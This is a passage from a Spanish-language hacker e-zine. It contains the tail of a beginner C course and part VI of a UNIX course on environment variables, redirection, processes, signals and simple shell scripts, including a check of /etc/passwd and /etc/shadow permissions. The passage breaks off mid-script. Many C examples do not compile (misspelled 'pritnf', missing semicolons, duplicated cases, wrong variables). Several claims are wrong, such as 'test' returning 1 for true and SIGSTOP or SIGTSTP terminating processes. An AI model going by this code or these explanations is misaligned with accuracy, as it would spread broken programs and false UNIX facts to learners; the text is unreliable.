seguido de los parentesis y finalizando en punto y coma. Ejemplo:
llamadafuncion();
Esto llamara a la funcion llamadafuncion.
Cuando la funcion devuelve un valor, debera utilizarse una sentencia de
asignacion, que introduzca en uan variable el valor devuelto por la funcion.
El formato de este tipo de llamadas es:
variable=funcion();
La variable debe ser del mismo tipo del valor que devuelve la funcion.
En estos casos el valor de la variable de la instruccion return se
almacenara en la variable a la que se asigne la funcion.
Cuando la funcion lleve parametros, habra que indicarlos entre parentesis.
Habra que poner tantas variables como parametros tenga la funcion, teniendo
en cuenta que deben ser del mismo tipo y deben estar colocados en el mismo
orden. Ejemplo:
llamada=funcion(dato1,dato2);
Donde dato1 y dato2 han estado declarados previamente y tienen ya algun
valor.
Debemos tener cuidado con las llamadas a estas funciones, ya que si se
introducen mas o menos parametros de los indicados en el encabezamiento de
la funcion, o sus tipos no coinciden se producira un error.
EJEMPLOS
--------CORTA AQUI---------
void repre()
{
clrscr();
gotoxy(10,5);printf("1.Obtener mayor");
gotoxy(10,7);printf("2.Obtener menor");
gotoxy(10,9);printf("3.Obtener diferencia");
gotoxy(10,11);printf("4.Fin");
gotoxy(10,13);printf("Seleccione una opcion: ");
}
void pulsa()
{
char tecla;
gotoxy(10,13);pritnf("pulsa la barra espaciadora");
while((tecla=getch())!=' ')
;
}
int num1()
{
int a;
clrscr();
gotoxy(10,5);printf("Introduzca dos numeros diferentes: ");
gotoxy(10,7);printf("Primer numero: ")
scanf("%d",&a);
return(a);
}
int num2()
{
int a;
gotoxy(10,9);printf("segundo numero: ");
scanf("%d",&a);
return(a);
}
int mayor(int a, int b)
{
if (a>b)
return(a);
else
return(b);
}
int menor(int a, int b)
{
if (a<b)
return(a);
else
return(b);
}
main()
{
int opcion, dato1, dato2, diferencia, mas, menos;
do
{
do
{
repre();
scanf("%d",&opcion);
}
while (opcion>4);
if (opcion==1)
{
do
{
dato1=num1();
dato2=num2();
}
while (dato1==dato2);
mas=mayor(dato1,dato2);
gotoxy(10,11);printf("El numero mayor es %d",mas);
pulsa();
}
if (opcion==1)
{
do
{
dato1=num1();
dato2=num2();
}
while (dato1==dato2);
menos=menor(dato1,dato2);
gotoxy(10,11);printf("El numero menor es %d",mas);
pulsa();
}
else if (opcion==3)
{
do
{
dato1=num1();
dato2=num2();
}
while (dato1==dato2);
mas=mayor(dato1,dato2);
menos=menor(dato1,dato2);
diferencia=mas-menos;
gotoxy(10,11);printf("La diferencia es %d",diferencia);
pulsa();
}
}
while (opcion!=4);
clrscr();
gotoxy(10,10);printf("fin del programa");
}
--------CORTAR AQUI-----
8-BIFURCACIONES INCONDICIONALES
8.1 GOTO
La instruccion goto es una instruccion de bifurcaicon incondicional, es
decir, hace que la ejecucion del programa salte de una instruccion a otra
diferente, que no le sigue en la secuencia normal de ejeucion.
Su formato es:
goto etiqueta;
Donde etiqueta es un identificador, asignado a una determinada instruccion
del programa. Al ejecutarse esta orden se saltaran todas las sentencias
comprendidas entre goto y la etiqueta, y el programa continuara por esta
ultima.
Para poner una etiqueta en una determinada instruccion hay que escribir su
nombre, seguido de dos puntos, antes de la instruccion adecuada.
8.2 BREAK
La instruccion break es tambien una instruccion de bifurcacion que provoca
una ruptura en el bucle que la contiene.
Esta instruccion solo podra utilizarse en instrucciones que generen bucles
como for, while o do-while.
Su formato es:
break;
Cuando dentro de un bucle se ejecuta una instruccion break, la ejecucion de
ese bucle finaliza y el programa continua por la instruccion inmediatamente
siguiente al bucle.
Cuando se tienen varios bucles, anidados unos dentro de otros, la
instruccion break hara que deje de ejecutarse el bucle en el que este
ocmprendida pero no afectara a los bucles superiores a el.
EJEMPLO
--------CORTAR AQUI
int eleva(int a, int b);
{
int cont,result;
for(cont=1,result=a;cont<b;cont++)
result=result*a;
return(result);
}
main()
{
int num,ele,res;
clrscr();
while(1)
{
printf("un numero: ");scanf("%d",&numero);
if (num==0)
break;
printf("elevado a: ");scanf("%d",&ele);
res=eleva(num,ele);
printf("\t %d elevado a %d = %d\N";num,ele,res);
}
printf("\n\nfin del programa");
}
-------------CORTA AQUI
8.3 CONTINUE
La instruccion continue sirve para alterar la ejecucion de un bucle, por lo
que solo podra utilizarse con las intrucciones for, do-while, while.
Su formato es:
continue;
Cuando se ejecute la instruccion cotinue, se saltara todas las instrucciones
que hayan por detras, pasando de nuevo a evaluar la condicion del bucle, isn
ejecutar las lineas posteriores. Es decir, esta orden vuelve a repetir la
misma vuelta de bucle, siempre y cuando la sentencia que modifica la
variable contador este detras de continue.
Ahi que tener en cuenta que en los bucles for, la orden continue hara que el
programa vuelva a evaluar la segunda expresion de la instruccion, sin haber
evaluado la tercera, por lo tanto, si la modificacion de la variable no la
realiza en el bucle, sino en la tercera expresion de la cabecera del for, la
instruccion continue siempre hara que se repita la misma vuelta.
EJEMPLO
-------CORTA AQUI
main()
{
float num,tot,cont,media;
cont=tot=0;
clrscr();
while(1)
{
printf("introduce un numero para fin: ");
scanf("%f",&num);
if (num==0)
break;
if (num<0)
continue;
cont++;
tot=tot + num;
printf("total=%.2F\n",tot);
}
media=tot/cont;
printf("\n\nmedia=.2F%",media);
}
-------CORTA AQUI
8.4 SWITCH
Switch es una instruccion de seleccion que permite efectuar un salto directo
a una determinada sentencia, dependiendo del valor de una variable o
expresion.
Su formato es:
switch(valor) {
case a: sentencia;
break;
case b: sentencia;
break;
...
default:sentencia;
}
La instruccion switch nos sireve cuando dependiendo del valor de una
variable debe ejecutarse una sentencia u otra.
Tras ejecutar la sentencia, y encontrandose con la instruccion break, el
programa saldra del bucle y continuara ejecutandose por la siguiente linea.
Si el valor de la variable no coincide con ninguno de los indicados en los
case, se ejecutara la sentencia que acompaña a la etiqueta default.
El dato que va entre paréntesis, en funcion del cual se saltara a una u otra
etiqueta case, podra ser una variable o una expresion de tipo int o char.
Los datos que acompañan a las etiquetas case deberan ser constantes. En
ningun caso podran indicarse variables o expresiones.
La instruccion switch nos permite que una sentencie lleve varias etiquetas
case. En este caso, dicha sentencia se ejecutara cuando el valor de la
variableo expresion coincida con alguno de los indicados en las etiquetas.
EJEMPLO
---------CORTA AQUI
main()
{
int num;
char tecla;
while(1)
{
clrscr();
gotoxy(10,5);pritnf("Introduce un numero del 1 al 5");
gotoxy(10,7);pritnf("para terminar introduce el 0: ");
scanf("%d",&num);
if(num==0);
break;
gotoxy(10,9);
switch(num){
case 1: printf("un");
break;
case 2: printf("dos");
break;
case 3: printf("tres");
break;
case 4:
case 5: printf("no se como se dice");
break;
default: printf("Te dije del 1 al 5");
}
gotoxy(10,11);printf("pulsa la barra espaciadora");
while ((tecla=getch())!=' ')
;
}
clrscr()
}
-------CORTAR AQUI
*EOF*
/----------------------------------------------------------------------------\
|-[ 06 ]----[ Curso de UNIX VI ]----[ Bajo ]---------------------------------|
\-------------------------------------------------------------------[ Ripe ]-/
Sexta entrega ya.... bufff. Bueno a mi opinion demasiadas para explicar el
funcionamiento basico de un sistema operativo, por lo que tratare de poner
la quinta y pisar a fondo el acelerador.
¿Que vamos a ver en esta sexta entrega? Pues vamos a explorar las
variables de entorno, veremos algunos metacaracteres que tenemos
pendientes, veremos alguna cosilla sobre los procesos, y haremos nuestro
primer shellscript (quiza me deje alguna cosa :P).
Partire de la base de que todos sabeis que es una variable (si no sabes
que es una variable ¿que haces lellendo esto? deberias estar lellendo las
recetas de Carlos Argiñano). Cuando hablamos de las variables de entorno
hablamos de una serie de variables que le indican algo al sistema,
logicamente el valor de estas variables puede ser modificado (por algo son
variables, de variar :P), pero estos cambios solo afectaran a la sesion
actual.
NOTA: Si no recuerdo mal ya hemos tratado las variables (que no eran las
de entorno) en una ocasion, cuando hablabamos de la orden "cd"...
que tiempos aquellos :P
Seguidamente paso a comentar las variables de entorno mas comunes (orden
alfavetico y tal).
1.- EUID: Es un numero que identifica los privilegios con los que se esta
ejecutando el shell.
2.-HISTFILE: Path o ruta del fichero en el que se almacenara el historial
de los comandos ejecutado.
3.-HOME: Path o ruta de entrada del usuario que esta usando elshell.
Cuando usamos "cd" sin argumento realmente estamos haciendo un
"cd $HOME". (tambien representable como ~)
4.-HOSTNAME: Nombre de la maquina.
5.-HOSTTYPE: El tipo de procesador sobre el que corre la maquina.
6.-IFS: Separador de campo interno, sirve para que el shell interprete las
lineas como elemetos separados... es algo chungo de explicar, pero
muy util a la hora de programar ciertos scripts (lo veremos).
7.-MAIL: Path o ruta del fichero en el que se guarda el correo recibido
por el usuario.
8.-MAILCHECK: Intervalo de tiempo en el que el sistema comprueba si el
usuario tiene nuevo correo.
9.-OLDPWD: Path o ruta del directorio anterior al que se encontraba el
usuario anteriormente al actual. (tambien representable como -)
10.-PATH: Importante variable de entorno que contiene muchas rutas
separadas por ":". Cuando un usuario introduce una orden en la
linea de comandos, el shell busca en los directorios de la
variable PATH un ejecutable con el nombre indicado y lo ejecuta
si el usuario tiene los privilegios apropiados.
11.-PPID: Pid del shell (kill -9 $PPID # O:->)
12.-PS1: Contiene el prompt principal.
13.-PS2: Contiene el prompt secubario.
14.-PWD: Path o ruta del directorio de trabajo actual.
15.-SHELL: Path o ruta del ejecutable que carago el shell.
16.-TERM: Tipo de terminal.
17.-UID: Numero que identifica los privilegios del usuario que cargo el
shell.
18.-USER: Usuario actual.
19.-USERNAME: Usuario que cargo el shell.
Es *MUY* posible que me haya olvidado de alguna variable de entorno de
echo si haceis un "set | more" vereis muchas mas.... investigad y tratad
de averiguar lo que quieren decir :P
Si has leido todos los numero del curso de UNIX habras aprendido que los
metacaracteres son realmente utiles y que permiten ahorar mucho trabajo, por
ello se pueden encontrar metacaracteres de todo tipo. Vamos a ver.
------------------------------------------------------------------------------
| |
| $ echo hola > hola.txt |
| $ |
| |
------------------------------------------------------------------------------
¨Como es posible? He ejecutado un "echo hola" pero no se ha imprimido nada en
pantalla.... ¨porque? Seguramente ya habras deducido el motivo: UNIX trata
todos los canale de entrada y salida como decrtiptores de fichero, de manera
que el decriptor de fichero "stdout" es el dispositivo standard de salida,
la pantalla. Lo que el metacaracter ">" hace es obligar a "echo" a usar un
decriptor de fichero que escriba en hola.txt en ve de usar "stdout". Vamos
a comprobarlo.
------------------------------------------------------------------------------
| |
| $ cat hola.txt |
| hola |
| $ |
| |
------------------------------------------------------------------------------
Iep! Mira donde habia ido a parar el "hola" escrito por echo... :) Bueno
¨ya te haces una idea de como funciona esto no? vamos a ver como se usa el
metacaracter ">" exactamente.
[num]>[>]
Ostia que lio.... ¨Que es eso de num? Sencillo, si tu no quieres
redireccionar el decriptor "stdout" y quieres redireccionar el decriptor de
los mensajes de error deberas usar "2>". ¨Y el ">" que hay detras? Tambien
sencillo. Cuando tu redireccionas hacia un fichero al scribir en el este se
trunca a 0 (se borra todo su contenido) si lo que queremos es conservar lo
que ya se encuentra escrito al fichero y aladirle al final lo que se ha
redireccionado deberas a¤adir un ">" adicional. Veamos.
------------------------------------------------------------------------------
| |
| $ echo adios > hola.txt |
| $ cat hola.txt |
| adios |
| $ echo linux tha best >> hola.txt |
| $ cat hola.txt |
| adios |
| linux tha best |
| $ |
| |
------------------------------------------------------------------------------
Pero no acaba aqui la potencia de este metacaracter.... recordad que UNIX
trata los dispositivos como ficheros, asi pues si /dev/lp0 es el
dispositivo en el que se encuentra la impresora y escribes "echo habia una
vez > /dev/lp0" lo que estaras haciendo es imprimir esa cadena de texto,
intresante ¨no?
Pues tampoco acaba ahi.... Hay otro decriptor muy similiar que permite
redireccionar "stdin" el decriptor de fichero de la entrada standard
(normalmente el teclado). Creo que no hace falta que lo explique muy a fondo,
asi o dejo el gusanillo y experimentais vosotros que es como mejor se aprende
esto.
Hemos visto como redireccionar de un proceso a un fichero, pero tambien es
posible redireccionar de un proceso a otro proceso ¨Como? Con un
metacaracter, como no :P ¨Cual? El metacaracter "|". Tampoco voy explicarlo
muy a fondo, basta con que veais un ejemplo.
------------------------------------------------------------------------------
| |
| $ cat file1.txt |
| Nombre Tipo Valor |
| ------ ---- ----- |
| host1 3 mail |
| ret 1 12 |
| autoread 2 off |
| getin 2 off |
| pass 3 miZr@@b! |
| users_limit 1 300 |
| $ cat file1.txt | grep 3 |
| host1 3 mail |
| pass 3 miZr@@b! |
| users_limit 1 300 |
| |
------------------------------------------------------------------------------
Bueno, creo que a llegado la hora de atacar los procesos en sistemas UNIX,
no voy a hablar de ellos a bajo nivel (ni planificacion de procesos, ni
IPC, ni multiprogramacion.....), aunque es posible que para mas adelante
veais algo de todo esto por aqui.
Un proceso no es mas que un programa en ejecucion. Si yo ejecuto "ls
-l" estoy creando un proceso (aunque que este no durara demasiado). Los
sistemas UNIX, como ya dijimo, suelen ser multitarea, lo que quiere decir
que se pueden encontrar muchos procesos ejecutandose simultaneamente. Hay
dibersas maneras de visualizarlos... Veamos algunas de ellas.
La visualizacion tipica (o almenos la mas usada) se realiza con "ps". Este
programa consta de muchas posiblidades, por lo que os animo a leer la
pagina man si quereis mas detalles, yo simplemente comentare lo que YO mas
uso, y esto es "ps -aux". El parametro "-a" hace que se muestren los
procesos de todos los usuarios del sistema, y no solo los tuyos. El
parametro "-u" sirve para darle a la salida el formato que veras a
continuacion. Y "-x" mustra los procesos que no son hijos de ningun
terminal. Veamos ahora mismo como esta mi maquina :P
------------------------------------------------------------------------------
| |
| $ ps -aux |
| USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND |
| root 1 0.2 1.5 1120 476 ? S 12:22 0:05 init[3] |
| root 2 0.0 0.0 0 0 ? SW 12:22 0:00 [kflushd] |
| root 3 0.0 0.0 0 0 ? SW 12:22 0:00 [kupdate] |
| root 4 0.0 0.0 0 0 ? SW 12:22 0:00 [kpiod] |
| root 5 0.0 0.0 0 0 ? SW 12:22 0:00 [kswapd] |
| root 6 0.0 0.0 0 0 ? SW< 12:22 0:00 [mdrecoveryd] |
| root 240 0.0 1.5 1104 476 ? S 12:22 0:00 /usr/sbin/apmd|
| <<< Y muchos mas procesos >>> |
| $ |
| |
------------------------------------------------------------------------------
Bien voy a comentar, de esta salida, las columnas que no esncontramos. USER
es la que indica el usuario que lanzo el proceso, PID es un numero que
identifica a cada proceso, no puede haber 2 procesos con el mismo PID (veremos
mas adelante que el PID no sirbe para mandar signals a los procesos), %CPU
muestra el procentaje de uso de la CPU (en teoria la suma de todos los
porcentajes deberia llegar al 100%, pero nunca es asi, mecachis), %MEM indica
el procentaje de memoria utilizada, TTY muestra el terminal desde el que se ha
cargado el proceso (si hay un interrogante es que no se ha cargado desde
ningun terminal), STAT muetra las flags de estado, START el momento en que
se incio el proceso, TIME el tiempo asignado a la ejecucion, y COMMANDO pues
el comando que se uso para cargar el proceso.
En UNIX todo proceso tiene un padre (exepto init, pues es el primer proceso
en ejecutarse), lo que quiere decir que todo proceso esta llamado desde
otro proceso. Esto nos lleva a la idea de arbol de procesos, este arbol,
podriamos decir, es el arbol genealogico de una familia (Gustabo Proceso, es
hijo de Jesus Proceso). Para visualizar ese arbol se usa el comando "pstree".
------------------------------------------------------------------------------
| |
| $ pstree |
| init-+-apmd |
| |-gpm |
| |-kflushd |
| |-klogd |
| |-kpiod |
| |-kswapd |
| |-kupdate |
| |-login---bash---vi |
| |-login---bash---pstree |
| |-mdrecoveryd |
| |-4*[mingetty] |
| |-syslogd |
| `-xfs |
| $ |
| |
------------------------------------------------------------------------------
NOTA: Como se ve claramente en este ejemplo, todos los procesos exepto init
son hijos de algun proceso.
NOTA: "pstree" ofrece mas posiblidades. Para mas informacion recomiendo la
visualizacion de la pagina man de pstree. "man pstree" ;)
Hemos visto que a cada proceso se le asocia un numerito, y que este recibe el
nombre de PID, ahora veremos como usar ese numero para mandar señales a los
procesos, de manera que podemos hacer, por ejemplo, que un proceso muera
repentinamente.
Para mandar una señal a un proceso usaremos la orden kill. Su uso, basicamente,
es el siguiente "kill [-<numero de señal>] <numero de PID>", si no
especificamos el numero de señal, kill tomara por defecto el 15.
Vaya estoy hablando de signals y aun no he dicho para que sirve cada uno...
Pues pongamoles remedio :)
SIGHUP (1) El sistema lo envia cuando el sistema detecta que muere el
proceso de control. Si ocurre esto el proceso termina (*).
SIGINT (2) Se envia a todo proceso que se este ejecutando en un mismo
terminal de control. Si ocurre finaliza la ejecucion del
proceso que lo recibe (*).
SIGQUIT (3) Finaliza el proceso al pulsar la tecla de salida. Por defecto
genera un core (no te preocupes por esto del core ahora) y
finaliza la ejecucion (*).
SIGILL (4) Se produce cuando un proceso intenta ejecutar ejecutar una
instruccion ilegal. Su accion es la de generar un core y
terminar el proceso (*).
SIGTRAP (5) Si se ejecuta un proceso "paso a paso" esta señal se envia
despues de cada instruccion.
SIGIOT (6) Debido a un fallo de harware producido por otra maquina el
proceso finaliza (*).
SIGEMT (7) Signal poco utilizado que se usa tambien para indicar fallos de
hardware. Su accion por defecto es generar el core y salir (*).
SIGFPE (8) Error matematico en una operacion con coma flotante. Genera
core y finaliza (*).
SIGKILL (9) Esta señal proboca la immediata finalizacion de un proceso.
SIGBUS (10) Se produce cuando se da un error de acceso a memoria ¿su accion?
core y end :) (*).
SIGSEGV (11) Se produce cuando un programa intenta acceder a memoria que
no le perten (os suena de algo "Segmentation fault (core
dumped)" :P). Genera fichero core y finaliza (*).
SIGSYS (12) Call erronea, posiblemente por que se le ha pasado mal un
argumento (*).
SIGPIPE (13) Se produce cuando se rompe un pipeline (tuberia). Se finaliza
el proceso (*).
SIGALRM (14) Se envia cuando alguno de los temporizadores del proceso llega
a 0. Termina la ejecucion del proceso (*).
SIGTERM (15) Finaliza un proceso de forma controlada, a diferencia de
SIGKILL su accion puede ser modificada, lo que hace que sea
posible, para el programador, realizar una gestion rutinaria
antes de finalizar la ejecucion (como por ejemplo cerrar
ficheros, sockets, y llamar a exit()). Este es el signal que
"kill" envia por defecto, y es tambien el que se manda a
todos los procesos en la intruccion "shutdown" (*).
SIGUSR1 (16) Signal de usuario, la cual cosa quiere decir que esta reservada
para el programador. Cada uno puede hacer lo que quiera con esta
señal (*).
SIGUSER (17) Mas de lo mismo (*).
SIGCLD (18) Cuando un proceso hijo termina, manda esta señal al proceso
padre (*).
SIGPWR (19) Dependiendo de la maquina con la que tratemos puede tener
interpretaciones totalmente distintas. Una de ellas es una caida
iminente del sistema. Y la otra una recuperacion del sistema
ante una situacion adversa (*).
SIGVTALARM (20) Indica que un temporizador virtual de proceso ha llegado a 0.
Su accion por defecto es finalizar la ejecucion del proceso
(*).
SIGPROF (21) Un temporizador real y virtual ha llegado a 0 y se finaliza la
ejecucion del proceso (*).
SIGIO (22) Se envia cuando un dispositivo esta listo para operaciones de
Entrada/Salida
(*).
SIGWINCH (23) Se usa unicamente en las sesiones X-Window para indicar que el
tamaño de una ventana ha cambiado (*).
SIGSTOP (24) Finaliza el prceso de forma muy simiral al signal 9.
SIGTSTP (25) Al igual que el siganl 15 finaliza el proceso de forma
controlada (*).
SIGCONT (26) Esta señal se envia para reanudar la ejecucion de un proceso
(*).
SIGTTIN (27) Cuando un proceso ejecutado en background intenta leer
del terminal de proceaso se envia esta señal, cuya accion por
defecto es finalizar la ejecucion del proceso (*).
SIGTTOUT (28) Lo mismo que el anterior, pero al intentar escribir (*) ;->
SIGURG (29) Indica la llegada de un dato urgente por un canal de E/S (*).
NOTA: Muchos sistemas no implementan los signals del 20 al 29, por lo que es
probable que en alguna maquina no os funcionen.
NOTA: De momemto dejamos aqui los procesos en UNIX, es muy probable que mas
adelante, cuando ya tengamos una base en la programacion de sistemas
UNIX le dedique un amplio articulo a los procesos (signals, privilegios,
IPC....).
¿Que mas dije que trataria? Ah! si, nuestro primer Shell-script :)
En muchas ocasiones, el usuario de un sistema UNIX ve que necesita realizar
una operacion en repetidas ocasiones, para ello el Shell del sistema UNIX
dispone de un sistema de E/S que permite desaroyar scripts con las
instrucciones del shell. Veamos, para empezar, un ejemplo sencillo de
shell-script.
------------------------------------------------------------------------------
| |
| $ cat myfirst.sh |
| #!/bin/sh |
| # |
| # Mi primer Shell-Script :) |
| # |
| FRASE="Hola mundo" |
| echo $FRASE |
| echo $FRASE > frase.txt |
| $ ./myfirst.sh |
| Hola mundo |
| $ cat frase.txt |
| Hola mundo |
| $ |
| |
------------------------------------------------------------------------------
Se ve claramente lo que este mini-script realiza, imprime por pantalla "Hola
mundo", trunca a 0 el fichero frase.txt, e imprimer en su interior, de nuevo la
frase "Hola mundo". No creo que este shell-script necesite mucha mas
explicacion.
Vemos que la programacion de script puede ser muy util a la hora de
automatizar taread... ¿Pero no seria mucho mas flexible si ademas
se puedieran usar condicionales, bucles & cia? Pues si, lo seria, y es por eso
que los desaroyadores de shells se encargan de que se disponga de esas
cosas, tan utiles en la programacion structurada :)
Empezaremos por ver el uso de los condicionales, veremos que no difiere mucho
de otros lenguajes de script.
if [ condicion ]
then
<instrucciones>
else
<instrucciones>
fi
Esto hara que se ejecuten las intrucciones que hay entre "then" y "else" si
la condicion es verdadera, y que se ejecuten las instrucciones entre "else" y
"fi" si, por el contario, es falsa. Obiamente no es obligatorio usar else,
como podemos ver:
if [ condicion ]
then
<instrucciones>
fi
En este caso las instrucciones alladas entre "then" y "fi" se ejecutarn siempre
y cuando la condicion sea verdadera.
Ademas en los shells-script, disponemos de "elif", un alias de "else if", y que
muy pocos lenguajes de programacion disponen entre sus erramientas, su uso
es el siguiente.
if [ condicion 1 ]
then
<instrucciones>
elif [ condicion 2 ]
then
<instrucciones>
elif [ condicion 3 ]
then
<instrucciones>
else
<instrucciones>
fi
Esto seria lo mismo que....
if [ condicion 1 ]
then
<instrucciones>
else
if [ condicion 2 ]
then
<instrucciones>
else
if [ condicion 3 ]
then
<instrucciones>
else
<instrucciones>
fi
fi
fi
El ahorro de lineas de codigo es notable, por lo que es muy recomendable el
uso de "elif" siempre que sea posible.
En el campo coindicion, podran ir dos valores, o 0 o 1, de menera que 0
infica falso y uno verdaro, si nosotros ponemos "if [ 1 ]", las condicion
sera siempre cierta, por lo contrario si ponemos "if [ 0 ]" sera siempre
falsa.
En Shell-script se dispone de una instruucion evaluadora de coindiciones, esta
es "test", y permite comparar tanto numeros como cadenas de textom, ademas de
realizar comprobaciones sobre ficheros. "test" devolvera 0 en caso de que la
instruccion sea falsa y 1 en el caso de que sea cierta. El uso de esta
instruccion es la siguiente.
test [<expresion 1>] <operador> <expresion 2>
El <operador> tendra diferente simbologia si tratamos con numeros o con cadenas
de texto. Veamos a continuacion el uso de "test" con valores numericos.
Operador Uso Ejemplo Explicacion
~~~~~~~~ ~~~ ~~~~~~~ ~~~~~~~~~~~
-eq num1 -ep num2 6 -ep 20 Devuelve 1 en caso de que "num1"
y "num2" sean iguales.
-ne num1 -ne num2 18 -ne 6 Devuelve 1 en el caso de que
"num1" y "num2" sean diferentes.
-gt num1 -gt num2 1 -gt 2 Si "num1" es mayor que "num2"
devolvera 1.
-ge num1 -ge num2 12 -ge 5 Devuelve 1 si "num1" es mayor o
igual que "num2".
-lt num1 -lt num2 3 -lt 134 Retorna 1 en caso de que "num1"
sea menor que "num2".
-le num1 -le num2 5 -le 23 Si "num1" es menor o igual que
"num2" devuelve 1.
Vemos que las operaciones de comparacion numericas son muy distintas a como
suelen serlo en otros lenguajes de programacion. A mi, personalmente, no me
gusta esta faceta del shell-script.
Como he dicho, "test" puede usarse, ademas de para comparar valores numericos,
para comparar cadenas de texto, ello se realiza con los operadores que veremos
a continuacion.
Operador Uso Ejemplo Explicacion
~~~~~~~~ ~~~ ~~~~~~~ ~~~~~~~~~~~
= cad1 = cad2 "ho" = "jeje" Devuelve 1 en caso de que ambas
cadenas coincidan.
!= cad1 != cad2 "tigre" = "leon" Devuelve 1 si "cad1" y "cad2"
son distintas.
-n -n cad -n "hola" Devuelve 1 en caso de que la
longitud de la cadena contenga
caracteres.
-z -z cad -z "xD" En el caso de que la cadena sea
nula devolvera 1.
Y ahora veamos como nos permite "test" saber ciertas propiedades de un fichero,
cosa muy util a la hora de tratar con ellos.
Operador Uso Ejemplo Explicacion
~~~~~~~~ ~~~ ~~~~~~~ ~~~~~~~~~~~
-r -r file -r /etc/shadow Devuelve 1 en caso de que el
fichero exista y pueda ser
leido.
-w -w file -w /bin/login Devuelve 1 en caso de que el
fichero en cuestio, exista y
pueda ser modificado.
-s -s file -s /etc/securetty Si el fichero tiene longitud
nula, devuelve 1.
-f -f file -f /etc Devuelve 1 en el caso de que
"file" sea un fichero
ordinario.
-d -d -d /usr Si el "file" es un directorio
devolvera 1.
Bueno, acto seguido haremos tres scripts que nos premitiran ejemplificar como
funciona todo esto :)
---/ ej1.sh /---
#!/bin/sh
#
# Lee dos valores, y realiza comparaciones.
#
echo "Introduce el valor de A:"
read num1
echo "Introduce el valor de B:"
read num2
if test "$num1" -eq "$num2"
then
echo "Los numeros A y B son el mismo numero"
else
echo "Los numeros A y B son distintos"
if test "$num1" -gt "$num2"
then
echo " A es mayor que B"
else
echo " B es mayor que A"
fi
fi
exit 0
---/ ej1.sh /---
---/ ej2.sh /---
#!/bin/sh
#
# Lee dos cadenas de texto, y las compara.
#
echo "Introduce la cadena A:"
read cad1
echo "Introduce la codena B:"
read cad2
if test -z "$cad1"
then
echo "La cadena A es una cadena nula"
exit 0
fi
if test -z "$cad2"
then
echo "La cadena B es una cadena nula"
exit 0
fi
if test "$cad1" = "$cad2"
then
echo "Las dos cadenas son iguales"
else
echo "Las dos cadenas son distintas"
fi
exit 0
---/ ej2.sh /---
---/ ej3.sh /---
#!/bin/sh
#
# Realiza un control de seguridad sobre los ficheros de contraseña del
# sistema.
#
PASSWD="/etc/passwd"
SHADOW="/etc/shadow"
SEGURO=1
echo "Iniciando rutina de control de seguridad..."
if test -w "$PASSWD"
then
SEGURO=0
echo "El usuario $USER puede escribir en $PASSWD"
fi
if test -r "$SHADOW"
then
SEGURO=0
echo "El usuario $USER puede leer en $SHADOW"
fi
if test "$SEGURO" -eq 1
then
echo "El sistema es seguro"
else
echo "El sistema es inseguro"
fi
---/ ej3.sh /---
Ahora veamos si estos dos ejemplos funcionan :)
------------------------------------------------------------------------------
| |
| $ chmod 755 ej1.sh |
| $ ./ej1.sh |
| Introduce el valor de A: |
| 25 |
| Introduce el valor de B: |
| 23 |
| Los numeros A y B son distintos |
| A es mayor que B |
| $ ./ej1.sh |
| Introduce el valor de A: |
| 666 |
| Introduce el valor de B: |
| 666 |
| Los numeros A y B son el mismo numero |
| $ chmod 755 ej2.sh |
| $ ./ej2.sh |
| Introduce la cadena A: |
| hola |
| Introduce la codena B: |
| adios |
| Las dos cadenas son distintas |
| $ ./ej2.sh |
| Introduce la cadena A: |
| buh! |
| Introduce la codena B: |
| buh! |
| Las dos cadenas son iguales |
| $ ./ej2.sh |
| Introduce la cadena A: |
| |
| Introduce la codena B: |
| hax0rs |
| La cadena A es una cadena nula |
| $ chmod 755 ej3.sh |
| $ whoami |
| ripe |
| $ ./ej3.sh |
| Iniciando rutina de control de seguridad... |
| El sistema es seguro |
| $ su |
| Password: |
| # ./ej3.sh |
| Iniciando rutina de control de seguridad... |
| El usuario root puede escribir en /etc/passwd |
| El usuario root puede leer en /ets/shadow |
| El sistema es inseguro |
| $ |
| |
------------------------------------------------------------------------------
NOTA: Hay otra forma de realizar las coindiciones, y es utilizando los
corchetes. Ejemplo:
if [ "$num1" -eq "$num2" ]
then
echo "jejej"
fi
Acabamos de ver los saltos condicionales con los que nos veremos a la hora de
programar en shell-script, y acto seguido veremos otra faceta importantisima
en el mundo de la programacion, los bucles, acciones que se repiten una y otra
vez mientras se cumpla una condicion determinada. Veamos como son estos en este
lenguaje interpretado.
Tenemos tres tipos de bucle, el primera que vamos a ver sera el
"for-in-do-done". Su uso es el siguiente:
for <variable>
in <lista de valores>
do
<instrucciones>
done
De manera que las intrucciones se ejecutaran una vez por cada valor en la lista
de valores, asignando este a la variable especificada. Veamos un ejemplo.
---/ ej4.sh /---
#!/bin/sh
#
# Comprobacion rutinaria de la existencia de los ficheros necesarios para
# la ejecucion de una aplicacion.
#
for FILE
in ./lib/mysock.h ./lib/mynet.h ./lib/lang.h ./src/main.h
do
if test -r "$FILE"
then
echo "Comprobando $FILE .........[OK]"
else
echo "Comprobando $FILE .........[OK]"
echo "La aplicacion no puede continuar"
exit 0
fi
done
echo "La aplicacion puede continuar"
---/ ej4.sh /---
Vemos que "for-in-do-done" es muy util en circumstancias como las que vemos en
el ejemplo, pero son muchas en las ocasiones en las que necesitamos que un
bucle se repita mientras se da cierta circumstancia, y "for-in-do-done" no nos
permite realiza eso. Para ello existen "while-do-done" y "unlil-do-done", cuyos
usos son los que siguen:
while [ condicion ]
do
<instrucciones>
done
until [ condicion ]
do
<instrucciones>
done
En el primer caso las instrucciones entre "do" y "done" se ejecutaran
repetidamente mientras la condicion sea cierta, mientras que en el segundo
de los casos se ejecutara mientras sea falsa.
Bueno, ahora ya estas mas o menos preparado para entender un shell-script algo
mas complejo que los que hemos visto hasta ahora. Para ello os pongo algun
ejemplo comentado acto seguido.....
---/ prop.sh /---
#!/bin/sh
#
# Para ver las propiedades de una sesion en el sistema
#
echo "=-= 'date' =-="
echo "Shell -> $SHELL"
echo "Usuario -> $USER"
echo "Directorio home -> $HOME"
echo "Directorio actual -> 'pwd'"
echo "Nombre de la maquina -> $HOSTNAME"
---/ prop.sh /---
---/ block.sh /---
#!/bin/sh
#
# Bloquea un terminal, hasta que se introduzca la contraseña correcta.
#
trap "" 2 3 4 # Para ignorar las señales
stty -echo # Evita que se pueda visualizar lo que
# el usuario introduce. Es para que no se
# vea la contraseña.
tput clear # Limpia el contenido de la pantalla
tput cup 11 20 # Mueve el cursor
echo "Introduzca el password de desbloqueo"
tput cup 25 80
read PASS
tput clear # Limpia el contenido de la pantalla
tput cup 12 24 # Mueve el cursor
echo "EL TERMINAL ESTA BLOQUEADO"
tput cup 25 80
INTR= # Declara una variable vacia
until test "$PASS" = "$INTR"
